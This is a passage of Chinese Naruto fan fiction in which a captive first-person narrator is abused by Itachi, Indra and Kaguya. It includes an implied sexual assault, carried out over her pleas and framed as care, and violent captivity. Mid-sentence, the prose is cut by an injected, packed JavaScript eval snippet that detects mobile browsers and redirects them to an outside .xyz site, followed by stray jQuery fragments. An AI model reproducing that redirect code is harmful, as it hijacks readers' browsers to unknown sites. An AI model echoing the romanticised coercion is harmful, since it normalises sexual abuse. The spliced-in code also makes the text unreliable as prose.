“你在说什么啊,鼬……你疯了吗?放开我!” 他按住我,对我的挣扎、哭叫、抗拒与恐惧熟视无睹,泰然处之。 他并不是有意忽视我的不情愿与惊恐,而只是认为那微不足道,不值得放在心上。 “你不喜欢在流理台上吗?”他礼貌地询问,嗓音平静,没有起伏,“在我面前,无需太过害羞。我了解你的一切。” 他明确知道我的拒绝与害怕,但在他看来,从始至终都不需要考虑我的想法。 “……你需要得到更多与我愉快的回忆,取代别的男人的痕迹。” 被他操控与安排,才能拥有完美的人生。 鼬只做他认为“正确”的,对我“好”的事。 自说自话,自行其是。 “放开我……鼬!”我哭得上气不接下气,“你这样真的让我很害怕!!” 湿冷的气流擦过我的耳畔。 “嘘……别乱动。” 嗓音低哑,有轻微的鼻音。 “之后,我会打扫厨房,重新做晚餐给你吃……” 第二天,就像往常那样,我醒过来,坐在床上发了会儿呆。 身体难受得要命,肚子很涨,去了厕所却只流出奇怪的液体。 大股大股涌出来,像失禁似的。 鼬端着早餐走进来,晨光落在他明玉般苍白精致的脸颊。 “……鼬?”我懵懂地看向他,“我昨晚……” 最近,总是这样,经常性地犯困。睡眠就像断片似的,突兀的黑暗。 在帷幕的背后,总有一双绮丽的红瞳。 令人目眩神迷。 “你失去意识了。”鼬说,“辛苦了,吃早餐吧。” 他把电视打开,播放我错过的电视剧的结局录像,我咬了一口吐司,一边吃一边看起了电视。 今天也和往常一样。 我想。《 》 32.第 32 章 32、 说完,她招手让我过去。 或许是因为不良于行,她总是坐着,脖颈犹如天鹅般雪白优雅,脊背挺直,仪态端方,宛如高贵的女神,让人叩服在她脚下。 我依言过去,跪坐在她面前,她撩开我的头发,用梳子梳理着。 她的身侧有月光般清冷的香气,素白修长的指尖在我的发间穿梭。 我觉得我大概是辉夜的装扮玩偶。 在无数个白天与黑夜,她总是坐在轮椅上,冷冷地望着窗外,一动不动。一坐就是一整天。 这样的日子太无聊,难得家里来了个新人。她就提起了点性子,将我当作木偶打扮。 换上精致漂亮的和服,涂抹上面脂与口红,最后是繁复的发型。 每到这一步,辉夜总是会埋怨。 “你睡觉时很不安分。”她很不高兴。 “我没有乱动……”我小声咕哝。 “你的头发每天都这样翘起来。”辉夜责备道,抓着我的头发,“很难梳。” 她每次都要在发型上花费大量时间,或者说,她的时间太多了,只能依靠这些事来消磨。 明明这样的美丽,为什么却像上了年纪的老人一样,身上散发出将暮的腐朽气息,将自己困在这小小的宅子里? 梳理完以后,她就按着我的肩膀,左右打量着,发出不满的抱怨。 “明明是挺可爱的孩子,怎么感觉总是差了点什么……” 我乖乖任她摆布。 她想了想,没好气道:“真是便宜你了!” 她抬起手腕,从自己的发髻上,拔下一枚红椿花发簪,柔柔插在我梳理好的头发里,几番调整位置和角度。 挑剔的装扮家这才勉强满意,懒洋洋地对我说:“转过来,让我看看。” 大约是她无法站立,只能坐着的缘故,她很讨厌别人站在她面前,让她仰视。 最初几次我这样做以后,惹了辉夜好大不高兴。她将我推出去,让我滚,一连几天都闭着门不肯见我。 于是这次,我维持着跪坐在地上的姿势,转了半圈。 辉夜用尖尖的指甲挑着我的下颌,居高临下,左右打量。 她的虹膜是雪一样的白色。 又冰冷,又温柔。 我侧过头,将脸颊轻轻贴在她的掌心。缓缓闭上眼睛,暖流如同子宫里的羊水,冲刷着我疲倦的灵魂……我已经很久没有见到我在老家的母亲了。 但辉夜让我想起了她。 我的母亲并没有辉夜这般美丽高雅,但也不会对我冷嘲热讽、漠不关心。可以说,她们是完全不同的两个人。可她们身上的气质,还有对待我时,给我的感受,就如同母亲一般。 这是一种很特别的母性。 当然,这话我是不敢告诉辉夜的。 辉夜的手掌很冰凉,宛如月华凝成,我却感到了温暖,不由从喉咙里发出模糊的呓语。 “辉夜……好温柔啊……” “?!” 辉夜猛地收回手:“胡言乱语!是要我把因陀罗叫来,好好教育你怎么对我说话吗?!” 我一听见那个名字,就打了个哆嗦,脸色煞白。 喉间泛起腥甜的、陌生的血腥气。 眼球模糊而刺痛,不受控制地流泪。 “不,”我小声祈求,“别。不要……是我错了,我只想和辉夜待在一起。” “……哈啊?这么怕?” 她硬邦邦地问。 “那小子已经把你吃掉了?我怎么没有吃到他送来的红豆饭?” “吃掉?”我说。 虽然很疼,但因陀罗到底没真的吞下我的眼睛。 “……” 她神色不定地瞪了我一会儿,忽然把脸别过去,一个人生起了闷气。 我疑惑不已。 在她为我梳理发型时,我注意到桌上的相册。 方才,辉夜就是从这里,抽出了因陀罗的照片。 我擦了擦眼泪,胆战心惊地伸手去拿,辉夜表情没有波动。 我知道是默许的意思,忍不住松了口气,小心翼翼把相册拿过来,打开翻看。 我本以为这里是辉夜或因陀罗过去的照片,但大大出乎我的意料。整本相册都是风景照。 不仅局限在日本国内,而是全球各地的风景,春夏秋冬,一年四季都有。 相片中没有人物,大多是或婉约秀丽或奇骏艰险的山水风景、珍禽异兽,时而出现古朴的建筑物或摩登的高楼大厦。 拍摄者想必同时还是个精力充沛的探险家,有一颗勇于开拓的旺盛的好奇心,无论是人迹罕至的热带雨林,抑或车水马龙的现代都市,都曾留下过此人的足迹。 在照片背后的角落里,仔细写着拍摄的时间和地点。 可以想见,当年拍摄者一定十分珍惜爱护这些照片,将之视如珍宝。 可后来不知发生了什么,最后的拍摄时间停在了大约二十年前的一个夏天,此后再也没有新的照片加入。 这些照片就这样随意放置在相册里,大部分都氧化泛黄,还有很多因受潮,画面已变得模糊不堪,难以辨认。 我的手指轻轻抚摸过那最后一张照片,或许在别人看来,那只是普通的荻花丛与河岸,但我认得那个地方。 我在这里待了很长时间。 那是南贺川。 二十年前的南贺川。 河水倒映着一轮明月,画面的一角出现拍摄者几缕月光般银白的长发。 我缓缓抬起头,望着地板上,辉夜长长的、拖至地面的雪白长发。 顺着长长的头发,我看见她坐着的轮椅。 轮椅很新,轮子上几乎纤尘不染。可以想见,是从来没有出过这屋子一步的。 是一场突如其来的意外,令她失去了跋山涉水,走遍整个世界的健康有力双腿。同时也眼睁睁看着梦想被毁灭。 那一定是人生中最黑暗绝望的一段时光。 别说是广阔世界,她连屋子都不愿出去了。凡事都命令绝为她去做。 难怪她整日望着窗外不变的景色,神色厌倦。 不知从何时开始,气氛沉默起来。 我不知道该说什么好,讷讷地将所有相片小心地装回去。 辉夜忽然伸手将我揽在怀里,我怔了下,小心地看了下她的表情,紧张地、顺势枕在她的膝盖上,乖巧地做她的玩偶。 尖尖的指甲划过我的嘴唇,粘上些许鲜红口脂。 “有没有人告诉过你,你的傲慢很让人不舒服。” 她的动作一停,抬起眼睫。 “连给我碰下都不舍得,因陀罗?” 我顺着辉夜视线的方向看过去,看到了站在门口的因陀罗。 他不知道在那里站了有多久,目光沉沉。 “我回来了。”他看着我说。 寒意在瞬间爬满全身。“别靠近我!!”我尖叫着滚到了地上,险些将辉夜掀翻在地。 她怒不可遏地瞪着我。 我顾不得许多,连滚带爬躲到辉夜的轮椅后面,抓着她垂落在地的繁复和服的一角瑟瑟发抖。 辉夜厌恶地拽了下,冰冷训斥:“松手!” 我目露哀求。 冷汗已经浸透了贴身衣物。 辉夜冷冷地瞪着我,毫不留情的嗤笑声响起:“因陀罗,你比宇智波家的那几个做得还烂啊。” 我听见因陀罗走过来的足音。 每落下一步,我就哆嗦一下。 每一步都像踩在我的心脏上。 尖锐的抽痛。 “她一直都很热情,”他波澜不惊地说,语调没有起伏,“只要见到我就十分喜悦,等到这次的事情结束,我就不会再这么长时间离开你了。” 最后半句话,他是对我说的。 他已经站在了我面前。 我大口喘气,满头是汗,紧张地看着他。 “你要对我说什么?”他静静地问。 ……欢迎回来,因陀罗? 我哆哆嗦嗦往后爬,慌不择路站起来想跑。 他踩住我的衣摆。 我摔倒在地上,听见布料被撕裂的声音。 他的手指碰到了我的脚踝。 那里早就有一圈淤青。 我的眼前闪过混乱的,潮湿而闷热的仓库,狭窄又黑暗的衣柜。 被束缚的手腕。 甘甜猩腻的血液。 舌苔滑过脆弱的眼球。 疼痛。喘息。挣扎。撕咬。 捕猎与被食用。 我尖叫出声:“辉夜!!!” 他握紧我,攥着脚踝我往后拖,我死死抠着地板,指甲翻卷着出血。 “辉夜!!辉夜!!!” 白发的美丽女人,冷淡地注视着这场闹剧,事不关己地安静坐着。 “……妈妈!!”我哭着尖叫。 仿佛有一个世纪那般漫长,我听见轮椅缓缓滚动的声音。 辉夜拦在因陀罗面前。 “小东西,尽会给我惹麻烦。”她皮笑肉不笑,用力扯了扯我的脸颊肉。 有点疼。 我缩了缩,讨好地对她笑了下。 因陀罗看着她。 辉夜说:“我要这孩子推我去庭院里散步。” “你跟我要人?” “是通知。” 因陀罗扯了下嘴角,很是不屑。 辉夜道:“看得出来,这段时间,宇智波家的那几个年轻人,没少让你吃苦头。” 他脸色变了下。 “不劳你操心。”因陀罗冷冷道。 “年轻人做事就是不牢靠。”辉夜懒洋洋道。用尖尖的指甲,挑起我的一缕发丝,“注意你和我说话的态度,因陀罗。我们的合作还没结束……还是说,你想让我们提前分道扬镳?” 锋利的威胁。 难言的沉默在弥漫。 无声的对峙与拉扯。 因陀罗忽然伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329591|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,也没见他手里拿着什么利器,就将我绕在辉夜指间的发丝划断了。 我惊恐地看着他。 难道他是剪刀妖怪?! 辉夜松开手,丝丝缕缕的断发就掉了一地。她压了下下颌瞥了眼,表情很冷淡。 “傲慢的小鬼。”她不咸不淡地评价。 “第一次听你说要出门,辉夜,”因陀罗说,“我进屋前,看到池塘里的睡莲开了。一起赏花。” 他垂下眼睫,看向我。 有人撑腰说话就是不一样,我色厉内荏:“你先走!” 因陀罗无可无不可地迈开腿往前走。 我推着辉夜警惕地跟在他后面。 出了障子门,迎面是早秋微凉的晚风。偌大的庭院里铺设了枯山水,池塘里的水引自山泉,浓紫绀黛的睡莲已经开了几朵,在水面漂游着。惊鹿间或发出“咚”一声闷响。 我站直身,入目望去是满山苍翠碧色。 我曾在这山里走了一整夜,却没有好好看过山上的景色。 那么,倘若是已经知晓世界绚烂多姿之人呢? 我心中一动,垂下眼睛去看辉夜的神色。 她表情倦怠,垂着眼睫,连这般美丽的风景都懒得看一眼,只是静静望着搭在膝盖上的手掌。 她忽然按了下膝盖下方,小腿一动不动。 她没有膝跳反射。 我忽然出声:“在、在我的老家,秋天天气转凉时,流行烤年糕来吃!” 其实是冬天的风俗。 但我每天琢磨怎么偷跑出去,早把这栋日式宅邸转遍了,期间偶遇白绝五六七八只。前两天在厨房发现了一袋年糕。 “你想吃吗?”因陀罗问我。 他靠近过来,神色柔软地问,咖色的长发发梢柔软地擦过我的手背。 浑身发毛。 我猛地跳了起来,往辉夜怀里钻。 繁复昳丽的和服大袖盖住我,辉夜搂着我,一点点用衣服将我裹起来。 我闻见月亮的味道。 因陀罗的脸色阴沉下去。 辉夜慢慢笑起来:“好啊,”她一改神色恹恹,在我脑袋上发出愉快的声音,“让绝把东西准备好。” 于是,莫名其妙三个人在一起烤年糕吃了。 我当然是负责烤的。 这两个看着生下来就在终点线的古典美人,连辉夜给我抹在脸上的化妆品都用的是特供品,应该前半生都没有吃过这种平民小吃。 点燃炭火,将白白硬硬的年糕剪成小块,用铁夹放在网上烘烤。 木炭燃烧的白噪音、流水淌过的声音、惊鹿落地的闷响。 年糕噗噗膨胀起来,在表面鼓出雪白的泡泡。有的很小,有的很大。我忍不住用夹子把大泡泡戳破,它噗得冒出一团热雾,萎靡地塌下去。 “像这样起了泡泡就是烤好了。”我把烤得柔软黏糯的年糕放在小碟子里,“可以吃了。” 绝准备了十来种蘸料,我只认识黄豆粉和红糖浆。保险起见,先蘸了红糖浆,接着撒上黄豆粉,仔细地将叉子摆放在碟子上,端给辉夜。 年糕接二连三地烤好,我本来不想给因陀罗,因为他是大坏蛋,绑架犯,我绝对不会和他做朋友。但小时候在家里烤年糕,我递给爸爸妈妈递惯了,烤完顺手就递了过去。 他绝对误会了什么,抓住我要往回收的手腕,盯着我,咬住了年糕。 年糕入口的时候,他怔了下,接着面不改色地嚼了几口吞了下去。 “我暂时离开一下。”他对我说。 我满头雾水。辉夜用袖子捂着嘴,在我身后发出幸灾乐祸的嗤笑声。 太好了! 她终于开心起来了。 我跪坐在炭火前,偷偷侧过脑袋,看着她弯起来的眼睛,心里也变得喜悦而欢欣。 障子门是开着的,辉夜方才为我梳妆,在屋子内摆了面落地镜。 因陀罗大概不知道,从镜子里可以看见他在做什么。 他面无表情给自己连灌了七八杯水,直到把茶壶里的茶水全部喝光了。 又去找绝拿了点冰块含在嘴里,很有强者包袱地坐在蒲团上,紧紧抿着嘴角,握着拳头一言不发,根本不知道他这副狼狈的样子完全被我看见了。 刚烤好的年糕看起来平平无奇,貌不惊人,只在表面微微冒着热气,其实内里的温度很高。 我小时候就经常被烫到舌头,哭着找母亲要凉水喝。长大后才学会耐心,等待不那么热了,再叉起来吃掉。 但我知道辉夜是初次尝试烤年糕,担心她烫伤,递给辉夜和他之前,都有吹气晾凉过,应该是稍微有些烫嘴,但刚好入口的温度。 方才辉夜吃了也没事,还夸奖我烤得很松软,火候刚刚好。 那为什么现在因陀罗却一副完全受不了的样子,在那里抿着唇硬撑? 难道…… 我的心里浮现出一个不可思议的可笑猜测。 因陀罗是怕烫的猫舌头吗?